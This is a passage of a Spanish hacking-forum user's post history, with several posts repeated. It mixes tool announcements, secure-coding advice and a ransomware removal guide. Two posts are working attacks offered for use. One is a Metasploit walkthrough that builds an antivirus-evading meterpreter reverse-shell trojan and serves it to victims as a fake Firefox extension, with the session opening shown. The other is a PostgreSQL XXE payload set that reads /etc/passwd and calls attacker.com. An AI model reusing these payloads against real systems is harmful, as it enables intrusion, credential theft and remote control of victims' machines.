Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
#301
Hacking / Re:WebSploit Toolkit - Escáner de seguridad de sistemas remotos
Junio 04, 2012, 03:23:48 PM #302
Hacking / Re:WebSploit Toolkit - Escáner de seguridad de sistemas remotos
Junio 04, 2012, 03:03:25 PM #303
Hacking / Re:Uniscan Web Vulnerability Scanner v6.0
Junio 01, 2012, 05:14:12 PM
Haces buenos aportes!
#304
Hacking / WebSploit Toolkit - Escáner de seguridad de sistemas remotos
Junio 01, 2012, 05:06:32 PM
WebSploit es un proyecto de código abierto el cual es usado para escanear y analizar sistemas remotos con el fin de encontrar varios tipos de vulnerabilidades. Esta herramienta es muy poderosa y soporta múltiples vulnerabilidades.
Características principales:
- Autopwn - Used From Metasploit For Scan and Exploit Target Service
- wmap - Scan,Crawler Target Used From Metasploit wmap plugin
- format infector - inject reverse & bind payload into file format
- phpmyadmin - Search Target phpmyadmin login page
- lfi - Scan,Bypass local file inclusion Vulnerability & can be bypass some WAF
- apache users - search server username directory (if use from apache webserver)
- Dir Bruter - brute target directory with wordlist
- admin finder - search admin & login page of target
- MLITM Attack - Man Left In The Middle, XSS Phishing Attacks
- MITM - Man In The Middle Attack
- Java Applet Attack - Java Signed Applet Attack
- MFOD Attack Vector - Middle Finger Of Doom Attack Vector
- USB Infection Attack - Create Executable Backdoor For Infect USB For Windows
- ARP DOS - ARP Cache Denial Of Service Attack With Random MAC


You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Versión 1.8: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Fuente original: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
#305
Hacking / Web-Sorrow - Scanner de servidor web y enumeracion
Junio 01, 2012, 04:47:52 PM
Un scanner automático que ahorra tiempo y hace el trabajo eficientemente. Hay varias herramientas automáticas que están disponibles para el público, usadas para el escaneo de vulnerabilidades de aplicaciones web y para la exploración a nivel web o sistema. Nikto es una maravillosa herramienta de código abierto para analizar un servidor web con la configuración errónea y para vulnerabilidades comunes, pero Nikto no es un solo jugador en la información y en el pentesting, hay otra herramienta llamada web-sorrow.
Web-Sorrow es una herramienta basada en Perl, usada para el control de un servidor Web con una configuración errónea, detección de versiones, enumeración y información del servidor. Lo que no es:
- Escáner de vulnerabilidades.
- Inspección del proxy
- Herramienta para DDOS
- Framework para la explotación
USO:
-host [host] -- Defines host to scan.
-proxy [ip:port] -- use a proxy server
-S -- Standard misconfig and other checks
-Eb -- Error Begging. Sometimes a 404 page contains server info such as daemon or even the OS
-auth -- Dictionary attack to find login pages (not passwords)
-cmsPlugins [dp | jm | wp | all] -- check for cms plugins. dp = drupal, jm = joomla, wp = wordpress (db's a bit outdated 2010)
-I -- Find interesting strings in pages (very verbose)
-Fd -- look for common interesting files and dirs
-Ws -- look for Web Services on host. such as hosting porvider, blogging service, favicon fingerprinting, and cms version info
-e -- everything. run all scans

EJEMPLOS:
Básico: perl You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login -host You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login -S
Buscar logins: perl You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login -host 192.168.1.1 -auth
Scan más intenso: perl You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login -host 192.168.1.1 -e
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
FUENTE ORIGINAL: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Web-Sorrow es una herramienta basada en Perl, usada para el control de un servidor Web con una configuración errónea, detección de versiones, enumeración y información del servidor. Lo que no es:
- Escáner de vulnerabilidades.
- Inspección del proxy
- Herramienta para DDOS
- Framework para la explotación
USO:
-host [host] -- Defines host to scan.
-proxy [ip:port] -- use a proxy server
-S -- Standard misconfig and other checks
-Eb -- Error Begging. Sometimes a 404 page contains server info such as daemon or even the OS
-auth -- Dictionary attack to find login pages (not passwords)
-cmsPlugins [dp | jm | wp | all] -- check for cms plugins. dp = drupal, jm = joomla, wp = wordpress (db's a bit outdated 2010)
-I -- Find interesting strings in pages (very verbose)
-Fd -- look for common interesting files and dirs
-Ws -- look for Web Services on host. such as hosting porvider, blogging service, favicon fingerprinting, and cms version info
-e -- everything. run all scans

EJEMPLOS:
Básico: perl You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login -host You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login -S
Buscar logins: perl You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login -host 192.168.1.1 -auth
Scan más intenso: perl You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login -host 192.168.1.1 -e
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
FUENTE ORIGINAL: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
#306
Hacking / Comprometiendo un equipo mediante una extension de Firefox falsa
Junio 01, 2012, 09:22:19 AM
Mediante ingeniería social intentaremos que un usuario instale una extensión de Firefox falsa para obtener una sesión remota en su sistema.
A través del módulo de Metasploit You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login, crearemos un fichero .xpi que será presentado a la víctima dentro de una página web. Cuando el usuario la visite, su navegador Firefox le preguntará si confía y desea instalar la extensión. Si el usuario hace clic en 'instalar' se ejecutará el payload con los permisos del usuario.
Haremos una simple demostración contra un Windows XP SP3.
1. Primero abrimos la consola de metasploit (msfconsole), actualizamos y cargamos el módulo correspondiente:

Código: text
2. Ahora procedemos a configurar el addon:
Código: text
3. A continuación preparamos nuestro payload para intentar que el AV no lo detecte. Primero con msfvenom:
Código: text
Luego tendréis que utilizar también otro crypter si queréis que vuestro payload sea lo más FuD posible... así que no cuesta nada modificar un stub y utilizar alguno de esos tan sexys que hay en la Red
Después cargamos el payload para nuestro módulo:
Código: text
Y lanzamos el exploit:
Código: text
4. Ahora que tenemos todo funcionando sólo necesitamos que el usuario visite nuestra URL (correo, MITM, DNS, ...) y que instale la extensión falsa de Firefox:
Código: text

Si cae en la trampa, obtendremos la sesión remota:

Código: text
FUENTE: hackplayers
A través del módulo de Metasploit You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login, crearemos un fichero .xpi que será presentado a la víctima dentro de una página web. Cuando el usuario la visite, su navegador Firefox le preguntará si confía y desea instalar la extensión. Si el usuario hace clic en 'instalar' se ejecutará el payload con los permisos del usuario.
Haremos una simple demostración contra un Windows XP SP3.
1. Primero abrimos la consola de metasploit (msfconsole), actualizamos y cargamos el módulo correspondiente:

msf > use exploit/multi/browser/firefox_xpi_bootstrapped_addon
msf exploit(firefox_xpi_bootstrapped_addon) >2. Ahora procedemos a configurar el addon:
msf exploit(firefox_xpi_bootstrapped_addon) > set addonname falso
addonname => falso
msf exploit(firefox_xpi_bootstrapped_addon) > set SRVHOST 192.168.1.35
SRVHOST => 192.168.1.35
msf exploit(firefox_xpi_bootstrapped_addon) > set SRVPORT 80
SRVPORT => 80
msf exploit(firefox_xpi_bootstrapped_addon) > set URIPATH fakeEx
URIPATH => fakeEx
msf exploit(firefox_xpi_bootstrapped_addon) > set LHOST 192.168.1.35
LHOST => 192.168.1.353. A continuación preparamos nuestro payload para intentar que el AV no lo detecte. Primero con msfvenom:
D:\metasploit4>ruby\bin\ruby.exe msf3\msfvenom --payload windows/meterpreter/reverse_tcp --format exe --encoder x86/shikata_ga_nai --iterations 10 -e x86/countdown -i 3 -e x86/call4_dword_xor -i 5 -e x86/jmp_call_additive -i 5 -f c LHOST=192.168.1.35 > trojan.exe
[*] x86/jmp_call_additive succeeded with size 321 (iteration=1)
[*] x86/jmp_call_additive succeeded with size 353 (iteration=2)
[*] x86/jmp_call_additive succeeded with size 385 (iteration=3)
[*] x86/jmp_call_additive succeeded with size 417 (iteration=4)
[*] x86/jmp_call_additive succeeded with size 449 (iteration=5)Luego tendréis que utilizar también otro crypter si queréis que vuestro payload sea lo más FuD posible... así que no cuesta nada modificar un stub y utilizar alguno de esos tan sexys que hay en la Red

Después cargamos el payload para nuestro módulo:
msf exploit(firefox_xpi_bootstrapped_addon) > set PAYLOADFILE d:\\metasploit4\\trojan.exe
PAYLOADFILE => d:\metasploit4\trojan.exe
payload => windows/meterpreter/reverse_tcpY lanzamos el exploit:
msf exploit(firefox_xpi_bootstrapped_addon) > exploit
[*] Exploit running as background job.
msf exploit(firefox_xpi_bootstrapped_addon) >
[*] Started reverse handler on 192.168.1.35:4444
[*] Using URL: http://192.168.1.35:80/fakeEx
[*] Server started.4. Ahora que tenemos todo funcionando sólo necesitamos que el usuario visite nuestra URL (correo, MITM, DNS, ...) y que instale la extensión falsa de Firefox:
msf exploit(firefox_xpi_bootstrapped_addon) >
[*] 192.168.1.35 firefox_xpi_bootstrapped_addon - Sending xpi and waiting for user to click 'accept'...
Si cae en la trampa, obtendremos la sesión remota:

[*] Sending stage (752128 bytes) to 192.168.1.35
[*] Meterpreter session 1 opened (192.168.1.35:4444 -> 192.168.1.35:15831) at 2012-05-28 19:11:57 +0200
msf exploit(firefox_xpi_bootstrapped_addon) > sessions -i
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter x86/win32 192.168.1.35:4444 -> 192.168.1.35:15831 (192.168.1.35)
FUENTE: hackplayers
#307
Bugs y Exploits / 0day: vulnerabilidad XXE en PostgreSQL
Junio 01, 2012, 09:12:24 AM
Un ataque XXE (Xml eXternal Entity) es un tipo de inyección XML con URIs (entidades externas) que se aprovecha de un parser XML mal configurado para ejecutar una funcionalidad que podría comprometer la seguridad de una aplicación web: acceso al sistema de ficheros del servidor, causar una DoS, inyección de javascript (por. ej. para un XSS), etc.
Recientemente ONsec ha publicado en la PHDays un 0-day muy interesante de una vulnerabilidad XXE basada en error que afecta a PostgreSQL y que podría permitir a un atacante leer ficheros locales y hacer peticiones desde el servidor de base datos a la intranet (SSRF - Server Side Request Forgery).
Código: text
FUENTE: hackplayers
Recientemente ONsec ha publicado en la PHDays un 0-day muy interesante de una vulnerabilidad XXE basada en error que afecta a PostgreSQL y que podría permitir a un atacante leer ficheros locales y hacer peticiones desde el servidor de base datos a la intranet (SSRF - Server Side Request Forgery).
Example:
DoS:
select xmlparse(document '<?xml version="1.0" standalone="yes"?><!DOCTYPE content [ <!ENTITY abc SYSTEM "/dev/random">]><content>&abc;</content>')
SSRF:
select xmlparse(document '<?xml version="1.0" standalone="yes"?><!DOCTYPE content [ <!ENTITY abc SYSTEM "http://attacker.com/?xxe=OK">]><content>&abc;</content>')
Error-based XXE:
select xmlparse(document '<?xml version="1.0" standalone="yes"?><!DOCTYPE content [ <!ENTITY abc SYSTEM "/etc/network/if-up.d/mountnfs">]><content>&abc;</content>');
ERROR: invalid XML document
DETAILS: /etc/network/if-up.d/mountnfs:28: parser error : StartTag: invalid element name
exec 9<&0 </etc/fstab ^
/etc/network/if-up.d/mountnfs:28: parser error : xmlParseEntityRef: no name
exec 9<&0 </etc/fstab ^
/etc/network/if-up.d/mountnfs:28: parser error : chunk is not well balanced
exec 9<&0 </etc/fstab ^
Entity: line 1: parser error : Failure to process entity abc
E content [ <!ENTITY abc SYSTEM "/etc/network/if-up.d/mountnfs">]><content>&abc;
^
Entity: line 1: parser error : Entity 'abc' not defined
E content [ <!ENTITY abc SYSTEM "/etc/network/if-up.d/mountnfs">]><content>&abc; ^
UPDATE!
Classical XXE from XSLT transformation founded.
Reading any data are possible also:
SELECT xslt_process('<!DOCTYPE employee [<!ENTITY asd SYSTEM "/etc/passwd">] ><employee><name>&asd;</name><age>30</age><pay>400</pay></employee>'::text, $$<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0"><xsl:template match="*"> <xsl:element name="samples"> <xsl:element name="sample"><xsl:value-of select="//employee/name/text()"/> </xsl:element> </xsl:element></xsl:template></xsl:stylesheet>$$::text, 'n1=v1,n2=v2,n3=v3,n4=v4,n5=v5'::text);
xslt_process
-----------------------------------------------------------------------------------------
<?xml version="1.0"?>
<samples><sample>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
nslcd:x:101:103:nslcd name service LDAP connection daemon,,,:/var/run/nslcd/:/bin/false
sshd:x:102:65534::/var/run/sshd:/usr/sbin/nologin
puppet:x:109:111:Puppet configuration management daemon,,,:/var/lib/puppet:/bin/false
Debian-exim:x:111:115::/var/spool/exim4:/bin/false
alexandro:x:1000:1000:Alexander Golovko,,,:/home/alexandro:/bin/bash
oxod:x:1001:1001:,,,:/home/oxod:/bin/bash
mysql:x:103:105:MySQL Server,,,:/var/lib/mysql:/bin/false
postgres:x:104:107:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
oracle:x:1002:1002::/u01/app/oracle:/bin/bash
</sample></samples>
(1 row)FUENTE: hackplayers
#309
Bugs y Exploits / All The Input Is Evil - By p0is0n-123
Mayo 28, 2012, 12:17:32 PM
Trataremos básicamente los principales fallos de una aplicación web que permiten a un atacante "operar" con determinado fin y finalidad.
Hace no mucho asistí (vía streaming tampoco os volvais locos) a una charla de mi amigo @chemaalonso cuyo título era "All the input is evil", lo cual viene a explicar que todos los datos de entrada en la aplicación son malignos.
La charla fue bastante amena y estoy seguro de que a partir de ahora cuando programeis una aplicación os acordareis del título e intentareis sanitizar y controlar al máximo los parámetros de entrada (aunque siempre hay algún cafre que antepone la funcionalidad a la seguridad). }:))
All The Input Is Evil I
1. - Inyecciones SQL básicas.
Típico caso vulnerable: news.php?new=123

Sabemos (y el programador debe de saberlo) que el código anterior es vulnerable a sql injection. También si nos fijamos sabemos que siempre usamos un id numérico, ¿entonces?
Para mi el código anterior sanitizado sería:

En casos en donde el parámetro de entrada tiene que ser alfanumérico, debemos de hacerlo de la siguiente forma:

2. - Ataque XSS (Cross Site Scripting)
Otro típico caso es el buscador en donde se imprime la palabra que se introdujo en el textbox.
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Y aquí el código corregido sanitizando los parámetros de entrada:

¿Fácil no? Pues pegaros una sesión de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login y vereis la cantidad de sitios que "pasan" de la seguridad.
Yo me voy a sentar esperando la segunda parte de esta entrada. }:)) Saludos!
All The Input Is Evil II
Segunda parte de esta entrega, esta vez poniendo solución a fallos relacionados con la inclusión de archivos ejecutables
1. - Inyecciones LFI & RFI (Local/Remote File Include).
Veamos el típico ejemplo de inclusión de archivos de forma dinámica convirtiendose en métodos inseguros.

En ochenta mil sitios van a decir que este código es vulnerable y hay que sanitizar la variable $file, yo digo que no. Lo que no hay es que realizar includes dinámicos directamente para no comprometer el servidor.
Sí, se podría sanitizar pero, ¿hasta que punto lo convertiríamos en un LFI? ¿Realmente es posible?
Claro que es posible filtrar los datos de entrada, pero es que no es necesario porque el mismo código se podría estructurar de otra forma más segura. Veamos:

Así y con un poco de código extra se pueden guardar los logs de los "hackers" que lo intentaron por esa vía y bloquear sus ips o hacer lo que se crea necesario.
2. - Inyecciones tipo SSI a partir de XSS (Server Side Includes).
Lo más típico, descubrir un fallo tipo XSS en un servidor Apache y probar si SSI está activado. Es sorprendente la cantidad de servidores que lo tienen activado y no lo usan, simplemente porque no saben que está ahí.
Llegados a este punto es fácil saber que de no existir el XSS (All the input is evil - I de III) esto nunca llegaría a funcionar.
Así que para que repetir lo que ya sabemos, cuidado con las inyecciones tipo Cross Site Scripting porque son más de lo que parecen (nunca dijimos lo contrario).
Un poco de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login sobre SSI };)
All The Input Is Evil III
Tercera y última parte de esta entrega, esta vez poniendo solución a fallos relacionados con la descarga de archivos y mostrando un simple buffer overflow.
1. - Arbitrary File Download (¿LFI?)
Veamos un simple ejemplo que debe de haber en más de mil páginas y que seguramente os habeis encontrado.

Todos vemos el fallo, pero no todos sabemos como solucionarlo.
He visto soluciones comprobando que el archivo contiene en la ruta /downloads/ y que se evade facilmente usando DT (Directory Transversal):
Así que el filtrado seguramente no es una buena opción.
¿Solución? Una muy chula para poder seguir usando el downloader de forma dinámica y no tener que modificar el código cada vez que subimos un archivo es usando una base de datos que almacene el hash original del archivo, su nombre y su ruta.
Así se accede mediante el hash y se hace una consulta a la base de datos (cuidado manazas de los sqli).

De esta forma evitamos que se pueda descargar cualquier cosa y solo se descargan los archivos que están en la base de datos.
2 . - Buffer Overflow
Están, existen, y son peligrosos. Vamos a ver una simple aplicación en ANSI C que es vulnerable.

La variable MyBuffer tiene espacio para 10 bytes, si copiamos más de 10 se producirá un Buffer Overflow. Para evitar esto tenemos tres opciones:
a) Comprobar que no llegan en el buffer de la función más de 10 bytes.
b) Copiar solo 10 bytes del buffer, lleguen los que lleguen.
c) Redimensionar el buffer en función de los datos que lleguen. Aunque esto podría ser un Heap Buffer Overflow.
Un ejemplo de como sería comprobando:

Ya sé que hay muchas vulnerabilidades en aplicaciones web y aplicaciones en general, pero está claro que esto es una simple entrega para solucionar algunos fallos muy comunes y de bastante riesgo.
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
AUTOR: p0is0n-123
Hace no mucho asistí (vía streaming tampoco os volvais locos) a una charla de mi amigo @chemaalonso cuyo título era "All the input is evil", lo cual viene a explicar que todos los datos de entrada en la aplicación son malignos.
La charla fue bastante amena y estoy seguro de que a partir de ahora cuando programeis una aplicación os acordareis del título e intentareis sanitizar y controlar al máximo los parámetros de entrada (aunque siempre hay algún cafre que antepone la funcionalidad a la seguridad). }:))
All The Input Is Evil I
1. - Inyecciones SQL básicas.
Típico caso vulnerable: news.php?new=123
Sabemos (y el programador debe de saberlo) que el código anterior es vulnerable a sql injection. También si nos fijamos sabemos que siempre usamos un id numérico, ¿entonces?
Para mi el código anterior sanitizado sería:
En casos en donde el parámetro de entrada tiene que ser alfanumérico, debemos de hacerlo de la siguiente forma:
2. - Ataque XSS (Cross Site Scripting)
Otro típico caso es el buscador en donde se imprime la palabra que se introdujo en el textbox.
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Y aquí el código corregido sanitizando los parámetros de entrada:
¿Fácil no? Pues pegaros una sesión de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login y vereis la cantidad de sitios que "pasan" de la seguridad.
Yo me voy a sentar esperando la segunda parte de esta entrada. }:)) Saludos!
All The Input Is Evil II
Segunda parte de esta entrega, esta vez poniendo solución a fallos relacionados con la inclusión de archivos ejecutables
1. - Inyecciones LFI & RFI (Local/Remote File Include).
Veamos el típico ejemplo de inclusión de archivos de forma dinámica convirtiendose en métodos inseguros.
En ochenta mil sitios van a decir que este código es vulnerable y hay que sanitizar la variable $file, yo digo que no. Lo que no hay es que realizar includes dinámicos directamente para no comprometer el servidor.
Sí, se podría sanitizar pero, ¿hasta que punto lo convertiríamos en un LFI? ¿Realmente es posible?
Claro que es posible filtrar los datos de entrada, pero es que no es necesario porque el mismo código se podría estructurar de otra forma más segura. Veamos:
Así y con un poco de código extra se pueden guardar los logs de los "hackers" que lo intentaron por esa vía y bloquear sus ips o hacer lo que se crea necesario.
2. - Inyecciones tipo SSI a partir de XSS (Server Side Includes).
Lo más típico, descubrir un fallo tipo XSS en un servidor Apache y probar si SSI está activado. Es sorprendente la cantidad de servidores que lo tienen activado y no lo usan, simplemente porque no saben que está ahí.
Llegados a este punto es fácil saber que de no existir el XSS (All the input is evil - I de III) esto nunca llegaría a funcionar.
Así que para que repetir lo que ya sabemos, cuidado con las inyecciones tipo Cross Site Scripting porque son más de lo que parecen (nunca dijimos lo contrario).
Un poco de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login sobre SSI };)
All The Input Is Evil III
Tercera y última parte de esta entrega, esta vez poniendo solución a fallos relacionados con la descarga de archivos y mostrando un simple buffer overflow.
1. - Arbitrary File Download (¿LFI?)
Veamos un simple ejemplo que debe de haber en más de mil páginas y que seguramente os habeis encontrado.
Todos vemos el fallo, pero no todos sabemos como solucionarlo.
He visto soluciones comprobando que el archivo contiene en la ruta /downloads/ y que se evade facilmente usando DT (Directory Transversal):
Así que el filtrado seguramente no es una buena opción.
¿Solución? Una muy chula para poder seguir usando el downloader de forma dinámica y no tener que modificar el código cada vez que subimos un archivo es usando una base de datos que almacene el hash original del archivo, su nombre y su ruta.
Así se accede mediante el hash y se hace una consulta a la base de datos (cuidado manazas de los sqli).
De esta forma evitamos que se pueda descargar cualquier cosa y solo se descargan los archivos que están en la base de datos.
2 . - Buffer Overflow
Están, existen, y son peligrosos. Vamos a ver una simple aplicación en ANSI C que es vulnerable.
La variable MyBuffer tiene espacio para 10 bytes, si copiamos más de 10 se producirá un Buffer Overflow. Para evitar esto tenemos tres opciones:
a) Comprobar que no llegan en el buffer de la función más de 10 bytes.
b) Copiar solo 10 bytes del buffer, lleguen los que lleguen.
c) Redimensionar el buffer en función de los datos que lleguen. Aunque esto podría ser un Heap Buffer Overflow.
Un ejemplo de como sería comprobando:
Ya sé que hay muchas vulnerabilidades en aplicaciones web y aplicaciones en general, pero está claro que esto es una simple entrega para solucionar algunos fallos muy comunes y de bastante riesgo.
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
AUTOR: p0is0n-123
#310
Dudas y pedidos generales / Re:Necesito de su Ayuda amigos de UNDERC0DE
Mayo 27, 2012, 02:10:27 PM #312
Dudas y pedidos generales / Re:ayuda con formulario Html
Mayo 26, 2012, 06:14:15 AMYou are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Si no te importa concederme 24 horas hasta que pueda probarlo....tengo el "proyecto" en el portatil y el portatil en la oficina. Me paso a por el esta tarde, lo pruebo y comento ok?
Gracias
Ok, sin problema, todo el tiempo que necesites
#313
Bugs y Exploits / Re:SQLi Automatizado con Havij
Mayo 26, 2012, 05:59:53 AMYou are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Magnifico tutorial! muchas gracias.
Al respecto, me surge 1 pregunta:
Si encuentras una vulnerabilidad en una web (desde mi criterio) deberia avisar del problema, pero, de que manera lo haces? es decir, como te pones en contacto y que les explicas? porque claro, lo primero que viene a la cabeza de cualquiera es: que estarias "buscando o haciendo para encontrar eso y porque.
Como explicas que estas haciendo una "auditioria web" al azar y que te has topado con eso?
Espero haberme explicado bien jejejeje.
Gracias
Puedes enviar un email al administrador o buscar la típica sección "Contacto" y listo.
En principio no tienes por que dar explicaciones, pero si lo deseas puedes decirle que eres aficionado a la seguridad informática y encontraste tal vulnerabilidad en su sitio... O cualquier otra cosa.
Un saludo.
#314
Python / Escáner de códigos Qr en Python (Android)
Mayo 25, 2012, 03:35:58 PM
Por WindHack:
Código: python
#-*- coding: utf-8 -*-
import android
droid = android.Android()
sCode = droid.scanBarcode()
#Debug
#print sCode
(sRslt, sType) = sCode.result['extras']['la.droid.qr.result'], sCode.result['extras']['SCAN_RESULT_FORMAT']
QMSG = '''
by .:WindHack:.
Tipo: %s
Contenido:
%s''' % (sType, sRslt)
droid.dialogCreateAlert('Resultado del Escáner', QMSG)
if sRslt.startswith('http'):
droid.dialogSetPositiveButtonText('Abrir')
droid.dialogSetNeutralButtonText('Copiar contenido')
droid.dialogSetNegativeButtonText('Cerrar')
droid.dialogShow()
sResponse = droid.dialogGetResponse().result
if sResponse['which'] == 'positive':
droid.view(sRslt)
elif sResponse['which'] == 'neutral':
droid.setClipboard(sRslt)
droid.notify('pyScanBarcode', 'Contenido copiado con éxito. ¡Gracias!')
elif sResponse['which'] == 'negative':
exit() #315
Seguridad / Nuevas versiones del malware de la policia y como eludirlas
Mayo 24, 2012, 03:51:47 PM
Sí, el virus de la policía sigue activo e infectado a usuarios. Lo interesante es que continúa evolucionando. Veremos en esta entrada qué novedades traen las últimas versiones, y cómo recuperar el control del sistema de manera muy sencilla si ha quedado infectado.
El malware de este tipo que secuestra el sistema, parece dar pasos en falso. A veces avanzan las técnicas de manera muy efectiva, y otras simplemente empeoran la efectividad de su producto. Veremos ahora algunos ejemplos.
La nueva moda es distribuir este tipo de troyanos en forma de DLL. Una librería de Windows no es más que un ejecutable, en realidad. De hecho, su "magic number" es el mismo, MZ. ¿Cómo se ejecuta una DLL? Existen dos formas, con regsvr32.exe (pasándole como parámetro la DLL) o con rundll32.exe, pasándole como parámetro la DLL y además, una función que se encuentre dentro.

¿Y si no conocemos la función dentro de la DLL? No importa. Se invocará al main (la rutina de iniciación principal) de la DLL y ejecutará su código igualmente. Por tanto, realmente el segundo parámetro de rundll32, en este caso, da igual. Para una víctima, esto es irrelevante puesto que todo el código (sea en forma de ejecutable o DLL) se ejecutará a través de vulnerabilidades.
Una vez lanzado el malware, se copia a la carpeta de inicio del usuario. En ella introduce un enlace (.lnk) que apunta al lanzamiento de la DLL.

No os dejéis engañar por la extensión (modificada por el troyano). Police.exe sigue siendo una DLL, no un ejecutable. Posicionándose en la carpeta de inicio, es fácilmente eludible, puesto que simplemente se puede arrancar con otro usuario o bien en modo a prueba de fallos. Pero veremos otra manera de eludir el troyano más adelante.

¿Por qué distribuirse en forma de DLL?
Puede tratarse de un intento de despiste para los antivirus. Al ser lanzado como parámetro de un programa legítimo (rundll32.exe, que seguro se encuentra en las listas blancas de todos los motores), cabe la posibilidad de que algún antivirus se "relaje". Una vez en memoria, el troyano estará a salvo del antivirus.
Otra razón que se nos ocurre es por intentar evitar las sandboxes que ejecutan automáticamente malware. Casas antivirus, investigadores, sandoboxes públicas, etc, suelen contar con máquinas que lanzan automáticamente los ejecutables con la idea de estudiarlos y tener una primera aproximación del comportamiento de la muestra. Si es sospechoso pasa a un análisis manual. En principio, una DLL con extensión de ejecutable daría error de ejecución, y por tanto se tomaría de forma automática como ejecutable corrupto, a no ser que el sistema esté específicamente diseñado para comprobar que se trata de una DLL y lanzarla como tal, cosa que no ocurre normalmente......
Internet Explorer en modo kiosko, cómo eludirlo
Una vez lanzado el malware, encontramos otra novedad. Ahora, en vez de mostrar una aplicación sin bordes que ocupe toda la pantalla, o un BMP que impide acceder al escritorio, se cierran todas las aplicaciones abiertas y se lanza un Internet Explorer en modo kiosko. Esta es una opción legítima del navegador, diferente a pantalla completa, que permite navegar sin acceso al sistema y con muchas otras restricciones. Cualquiera puede probarlo lanzando en el sistema el comando:
C:\Program Files\Internet Explorer>iexplore.exe k
Desde este punto, escapar del troyano se reduce a intentar escapar del modo kiosko. El troyano, aunque intenta restringir de varias formas el acceso a la máquina, no lo consigue. De hecho, es perfectamente posible escapar con sencillos pasos. Algo que que se puede hacer es desconectar la máquina de Internet, para que la visita a la web que aloja la imagen que bloquea el sistema no pueda ser accedida. De esta manera Internet Explorer dará un error de conexión. En XP, por ejemplo, se puede aprovechar el diagnóstico de conexión, en el apartado de más información.

Aunque, a causa de las restricciones impuestas por el troyano, no se podrá acceder al disco libremente.

Aun así, poco después de aparecer este error, Internet Explorer dejará de funcionar, se podrá recuperar el escritorio.
En Windows 7 todavía es más sencillo. Se puede usar por ejemplo el menú contextual del envío de correo por Mai

Y, en ese nuevo navegador, ir hacia c:\windows\system32 y ejecutar un explorador.

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
El malware de este tipo que secuestra el sistema, parece dar pasos en falso. A veces avanzan las técnicas de manera muy efectiva, y otras simplemente empeoran la efectividad de su producto. Veremos ahora algunos ejemplos.
La nueva moda es distribuir este tipo de troyanos en forma de DLL. Una librería de Windows no es más que un ejecutable, en realidad. De hecho, su "magic number" es el mismo, MZ. ¿Cómo se ejecuta una DLL? Existen dos formas, con regsvr32.exe (pasándole como parámetro la DLL) o con rundll32.exe, pasándole como parámetro la DLL y además, una función que se encuentre dentro.

¿Y si no conocemos la función dentro de la DLL? No importa. Se invocará al main (la rutina de iniciación principal) de la DLL y ejecutará su código igualmente. Por tanto, realmente el segundo parámetro de rundll32, en este caso, da igual. Para una víctima, esto es irrelevante puesto que todo el código (sea en forma de ejecutable o DLL) se ejecutará a través de vulnerabilidades.
Una vez lanzado el malware, se copia a la carpeta de inicio del usuario. En ella introduce un enlace (.lnk) que apunta al lanzamiento de la DLL.

No os dejéis engañar por la extensión (modificada por el troyano). Police.exe sigue siendo una DLL, no un ejecutable. Posicionándose en la carpeta de inicio, es fácilmente eludible, puesto que simplemente se puede arrancar con otro usuario o bien en modo a prueba de fallos. Pero veremos otra manera de eludir el troyano más adelante.

¿Por qué distribuirse en forma de DLL?
